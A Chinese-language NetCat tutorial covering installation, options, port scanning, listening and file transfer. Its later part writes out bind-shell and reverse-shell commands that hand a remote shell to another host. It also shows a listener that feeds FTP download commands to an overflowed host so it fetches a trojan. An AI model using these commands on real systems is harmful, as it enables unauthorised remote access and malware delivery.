NetCat
- 在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。
- 因为它短小精悍(1.84版本也不过25k,旧版本或缩减版甚至更小)、功能实用,被设计为一个简单、可靠的网络工具。
- 可通过TCP或UDP协议传输读写数据。
- 同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。
NetCat安装
[root@server ~]# yum install -y nc
[root@server ~]# rpm -q nc
nc-1.84-22.el6.x86_64
NetCat语法
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源地址>][-v...][-w<超时秒数>][主机名称][通信端口...]
NetCat参数
-g<网关> 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源地址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
NetCat用法
nc -v ip port
# 扫瞄某IP的某个端口,返回信息详细输出
nc -v -z ip port-port
# 扫描某IP的端口到某端口,返回信息详细输出,但扫描速度较慢
nc -v -z -u ip port-port
# 扫描某IP的某UDP端口到某UDP端口,返回信息详细输出,但扫描速度较慢
nc -l -p 80
# 开启本机的TCP80端口并监听
nc -l -v -p 80
# 开启本机的TCP80端口并将监听到的信息输出到当前CMD窗口。
nc -l -p 80 > log.txt
# 开启本机的TCP80端口并将监听到的信息输出到log.txt下的日志文件里。
nc -nvv 192.168.1.101 80
# 连接到192.168.1.101主机的80端口
nc -nvv -w2 -z 192.168.1.101 80-1024
# 扫锚192.168.1.101的80-1024端口,连接超时时间为2秒
远程运行:nc -l -p 2012 -t -e /bin/sh
本地运行:nc -nvv 192.168.1.101 2012
- 采用正向连接方式
- 远程主机上运行 nc -l -p 2012 -t -e /bin/sh 意为绑定远程主机的 CMD 到2012 端口
- 当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell
- 在本地主机上运行 nc -nvv 192.168.1.101 2012 用于连接已经将 CMD 重定向到 2012 端口的远程主机
本地运行:nc -l -p 2012
远程运行:nc -t -e cmd.exe 192.168.1.102 2012
- 采用反向连接方式
- 先在本地主机运行 nc -l -p 2012 开启本地主机的2012 端口并监听等待远程主机连接;
- 在远程主机上运行 nc -t -e cmd.exe 192.168.1.102 2012 将远程主机的 CMD 重定向到 IP 地址为 192.168.1.102 端口号为2012 的主机上
- 连接成功后 IP 地址为 192.168.1.102 的主机会得到一个CMD Shell。
本地运行:nc -v -n ip port < C:/sunzn.exe
远程运行:nc -v -l -p port > D:/sunzn.exe
- 在本地运行 nc -v -n ip port < C:/sunzn.exe 意为从本地 C 盘根目录中读取 sunzn.exe 文件的内容,并把这些数据发送到远程主机的对应端口上(注:命令行中的 IP 为接收文件的远程主机 IP )
- 在远程主机运行 nc -v -l -p port > D:/sunzn.exe 意为监听对应端口并把接收到的信息数据写到 D:/sunzn.exe 中
- 两行命令实现了文件在本地主机和远程主机间的传输。
本地运行:nc -L -p 8989 < C:\ftp.txt
( ftp.txt 中为FTP自动下载命令)
- 不停地监听 8989 端口,并把 C:\ftp.txt 中的内容发给任何一台连接本机 8989 端口的主机
- 可起到传送文件作用(此用法经常用于反向溢出)
- 溢出远程主机时,一旦溢出的远程主机连接本地主机 8989 端口,远程主机就会自动用 FTP 下载指定的文件,如木马